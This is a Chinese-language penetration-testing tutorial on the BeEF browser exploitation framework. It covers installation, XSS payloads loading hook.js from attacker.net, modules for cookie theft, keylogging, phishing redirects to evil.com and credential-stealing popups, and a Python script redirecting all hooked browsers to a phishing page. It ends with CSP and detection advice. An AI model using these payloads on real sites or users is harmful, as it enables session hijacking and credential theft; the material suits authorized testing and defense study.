BeEF 框架实战:从安装配置到常用 Hook 模块详解

一、BeEF 是什么

BeEF(Browser Exploitation Framework)是一个专门针对浏览器的渗透测试框架。它的核心思路很简单:

攻击者注入一个 XSS Payload → 受害者浏览器执行 → 反向连接到 BeEF 服务器 → 攻击者获得浏览器远程控制权

与 Metasploit 针对操作系统不同,BeEF 针对的是浏览器这个攻击面。它能做的事情包括:

  • 🕵️ 收集浏览器指纹、插件、历史记录
  • 💬 在受害者浏览器中执行任意 JS
  • 🔑 窃取保存的密码、Cookie、localStorage
  • 🧲 发起进一步的社工攻击(重定向、钓鱼)
  • 🥷 结合 Metasploit 利用浏览器插件漏洞打内网
  • 🖥️ 甚至可以利用 WebRTC 反查内网 IP

二、安装与配置

2.1 系统要求

# Ubuntu / Debian
sudo apt update
sudo apt install -y ruby ruby-dev libsqlite3-dev libpcap-dev openssl libssl-dev libreadline-dev libffi-dev zlib1g-dev

2.2 克隆并安装 BeEF

git clone https://github.com/beefproject/beef.git
cd beef

# 安装 Ruby 依赖
gem install bundler
bundle install

# 初始化数据库
./beef --init

2.3 配置文件:config.yaml

# config.yaml —— 关键配置项
beef:
  # BeEF 管理面板(攻击者用)
  http:
    host: "0.0.0.0"
    port: "3000"

  # 管理后台认证
  credentials:
    user:   "beef"
    pass:   "password"

  # 核心 Hook 脚本(受害者浏览器要加载的 JS)
  hook_file: "hook.js"
  hook_path: "/hook.js"

  # 可选:使用 HTTPS(生产环境建议)
  https:
    enable: false
    cert:   "ssl/server.crt"
    private: "ssl/server.key"

  # 可选:绑定 Metasploit 做联动
  metasploit:
    enable: false
    host: "127.0.0.1"
    port: 55553

2.4 启动 BeEF

./beef

# 输出示例:
# [*] BeEF - Browser Exploitation Framework v0.6.4.0-alpha
# [*] Official Website: https://beefproject.com
# [*]
# [*] ===========================
# [*] BeEF REST API
# [*] ===========================
# [*] [+] http://127.0.0.1:3000/api/
# [*] [+] Password: 94198ae1fc50f384e45b5c4f89dca150
# [*]
# [*] ===========================
# [*] Hook URL
# [*] ===========================
# [*] [+] http://192.168.1.100:3000/hook.js
# [*]
# [*] ===========================
# [*] UI URL
# [*] ===========================
# [*] [+] http://127.0.0.1:3000/ui/panel
# [*] [+] User: beef
# [*] [+] Password: password

2.5 Hook.js 是什么

hook.js 是 BeEF 的核心载荷,一个约 4000+ 行的 JavaScript,受害者浏览器加载后会:

  1. 建立与 BeEF 服务器的 WebSocket / HTTP 长连接
  2. 定期"心跳"汇报在线状态
  3. 接收服务器下发的命令(执行 JS、截图、重定向…)

三、让浏览器 Hook 到 BeEF(投递 Payload)

3.1 常见投递方式

方式 A:存储型 XSS

<script src="http://attacker.net:3000/hook.js"></script>

方式 B:反射型 XSS

http://victim.com/search?q=<script src="http://attacker.net:3000/hook.js"></script>

方式 C:DOM XSS 注入

// 如果已经有 DOM XSS 执行点
var s = document.createElement('script');
s.src = 'http://attacker.net:3000/hook.js';
document.head.appendChild(s);

方式 D:MITM 中间人(SEToolkit / Bettercap)

# Bettercap 注入 hook.js
bettercap -T target_ip --proxy --proxy-script beef.cap

3.2 HTTPS 场景的绕过

如果目标站点是 HTTPS,而你的 BeEF 用的是 HTTP,现代浏览器会拦截混合内容

解决方案:

# 给 BeEF 配 HTTPS
./beef --generate-ssl-certificate   # 自签名
# 或者用 Let's Encrypt 正经证书

# 然后用 https://attacker.net:3000/hook.js

四、BeEF 管理面板详解

访问 http://127.0.0.1:3000/ui/panel,用配置的账号登录。

4.1 左侧面板:在线浏览器列表

╔═══════════════════════════════════════╗
║ 🌐 Online Browsers (3)                ║
╠═══════════════════════════════════════╣
║ ● Chrome 125.0 | 192.168.1.50 (Admin) ║
║   ├── OS: Windows 11                  ║
║   ├── Active Modules: 0               ║
║   └── Last Seen: 2s ago               ║
║ ● Firefox 126.0 | 192.168.1.51        ║
║ ● Edge 125.0    | 10.0.0.12 (Mobile)  ║
╚═══════════════════════════════════════╝

绿色 = 在线,灰色 = 离线。

4.2 右侧面板:模块与命令

选中一个浏览器后,出现可用模块列表:

模块分类 说明
Information Gathering 信息收集
Browsing 浏览相关控制
Browser 浏览器控制
Network 网络探测
Payloads 攻击载荷
Persistence 持久化
Exploits 漏洞利用(联动 Metasploit)

五、常用模块实战

5.1 信息收集类

① 浏览器指纹(Get Cookie + Get Local Storage)

模块路径:Browser → Hooked Domain → Get Cookie / Get Local Storage

点击即可执行,BeEF 会返回当前域下的所有 Cookie 和 localStorage 内容:

# 执行后在 BeEF UI 中看到结果:
[*] Executing module Get Cookie on beef://browser/xxxxx
[*] Result:
    session_id=s3cr3t_s3ss10n_h4sh
    user_prefs={"theme":"dark"}
    localStorage:
    {"cart_count":"3","last_login":"2026-08-06"}

② 完整 DOM 抓取(Browser → Get DOM Tree)

// BeEF 在浏览器中执行的实际 JS
document.documentElement.outerHTML
// 返回完整 DOM

③ 键盘记录(Browser → Hooked Domain → Capture Keystrokes)

启用后 BeEF 会在后台记录所有按键:

受害者输入: admin@victim.com
受害者输入: P@ssw0rd123!
BeEF 控制台实时滚动:
    [KEY] a [KEY] d [KEY] m [KEY] i [KEY] n ...

⚠️ BeEF 的原生键盘记录只能记录焦点在被 Hook 页面内的按键。如果需要跨标签页全局记录,需要在每个新页面都注入 hook。

④ WebRTC 获取内网 IP(Network → Get Internal IPs)

// BeEF 内部实现(简化)
function getLocalIPs(callback) {
    var ip_dups = {};
    var RTCPeerConnection = window.RTCPeerConnection || ...;
    var pc = new RTCPeerConnection({iceServers: []});

    pc.createDataChannel("");
    pc.createOffer().then(offer => pc.setLocalDescription(offer));
    pc.onicecandidate = function(e) {
        if (!e || !e.candidate || !e.candidate.candidate) return;
        var parts = e.candidate.candidate.split(' ');
        var ip = parts[4];
        if (!ip_dups[ip]) {
            ip_dups[ip] = true;
            callback(ip);
        }
    };
}

5.2 浏览控制类

⑤ 重定向(Browsing → Redirect Browser)

让受害者的浏览器跳转到任意 URL:

# 参数:
URL: http://evil.com/phishing
In iframe? 否
# 受害者浏览器立即被重定向

⑥ 弹窗钓鱼(Browsing → Pretty Theft)

伪装成"重新登录"对话框,窃取密码:

# Pretty Theft 模块提供多种钓鱼模板:
# - Facebook 登录
# - Gmail 登录
# - 银行登录
# 可以自定义 HTML 模板
# 受害者填写后,凭据回传到 BeEF 服务器

⑦ 标签页劫持(Browsing → Tab Nabbing / Tab Hijack)

当用户切到其他标签页时,把当前标签改成看起来合法的登录页面,等用户切回来以为"会话过期"而重新输入密码。

// 核心 JS
document.addEventListener('visibilitychange', function() {
    if (document.hidden) {
        document.title = 'Session Expired - Please Login Again';
        // 替换 DOM 为钓鱼登录表单
    }
});

5.3 持久化类

⑧ HttpOnly Cookie 绕过(Browser → Get HttpOnly Cookie via XMLHttpRequest)

BeEF 会发送一个带 Cookie(包括 HttpOnly)的请求到目标站点某个能返回 Set-Cookie 的端点,然后通过响应间接拿到。

⑨ 持久化 Hook(Persistence → Man In The Browser)

// 持续替换 <body> 的所有链接/表单 action,经过代理
// 让受害者即便手动输新地址也会被劫持

⑩ 无界 Cookie 注入

// BeEF 会尝试在多个子域下设置 Cookie
// 让跨子域请求也能携带恶意 Cookie

5.4 Exploits(需联动 Metasploit)

Browser_autopwn2

# 启动 Metasploit
msfconsole -q
load msgrpc ServerHost=127.0.0.1 ServerPort=55553 User=msf Pass=abc123
# 回到 BeEF,启用 metasploit 联动
# 然后选 Browser → Exploits → Browser_autopwn2
# BeEF 自动扫描浏览器插件版本,匹配已知 CVE,下发 exploit

六、BeEF REST API(自动化脚本)

6.1 获取 API Token

curl -s -X POST http://127.0.0.1:3000/api/admin/login   -H "Content-Type: application/json"   -d '{"username":"beef","password":"password"}'

# 响应:{"success":true,"token":"xxxxxx..."}

6.2 列出所有 Hooked 浏览器

curl -s http://127.0.0.1:3000/api/hooks?token=YOUR_TOKEN | python3 -m json.tool

6.3 自动对所有浏览器执行模块

#!/usr/bin/env python3
import requests, sys, time

BEEF = 'http://127.0.0.1:3000'
USER, PASS = 'beef', 'password'

# 1. 登录拿 token
r = requests.post(f'{BEEF}/api/admin/login',
    json={'username': USER, 'password': PASS})
token = r.json()['token']

# 2. 列出所有被 Hook 的浏览器
r = requests.get(f'{BEEF}/api/hooks?token={token}')
hooks = r.json()['hooks']

print(f"在线浏览器: {len(hooks)}")
for h in hooks:
    print(f"  [{h['id']}] {h['name']} | {h['ip']}")

# 3. 对每个浏览器执行一个模块
# 比如让所有人都跳转到钓鱼页
for h in hooks:
    r = requests.post(
        f"{BEEF}/api/modules/{h['id']}/browser/redirect",
        json={'url': 'http://evil.com/phishing'},
        params={'token': token}
    )
    print(f"[{h['id']}] redirect 下发结果: {r.json()}")

七、检测与防御

7.1 检测 BeEF Hook.js

Hook.js 里有 BeEF 特有的字符串,WAF/IDS 可以匹配:

beef, browser exploitation framework, hook.js, beefjs

7.2 浏览器端 CSP

Content-Security-Policy: script-src 'self' https://cdn.example.com

→ 禁止加载外部脚本,BeEF 的 hook.js 无法加载

7.3 对抗 Hook 的小技巧(渗透测试中)

// 1. 在 Console 里检查
Object.keys(window).filter(k => k.includes('beef'))
// 或
typeof window.__beef !== 'undefined' && alert('BeEF hooked!')

// 2. 检查 DOM 里有没有可疑 script
document.querySelectorAll('script[src*="hook"], script[src*="beef"]')

// 3. 检查 WebSocket / XHR 是否有异常出站连接

7.4 作为攻防人员的平衡心态

BeEF 是红队工具,使用前必须得到书面授权。在合法渗透测试中,BeEF 是验证"XSS 真实危害"、"钓鱼演练效果"最直观的武器。在蓝队角度,理解 BeEF 的 Hook 机制,才能更好地制定防御策略(CSP、隔离 Cookie 域、敏感操作二次确认等)。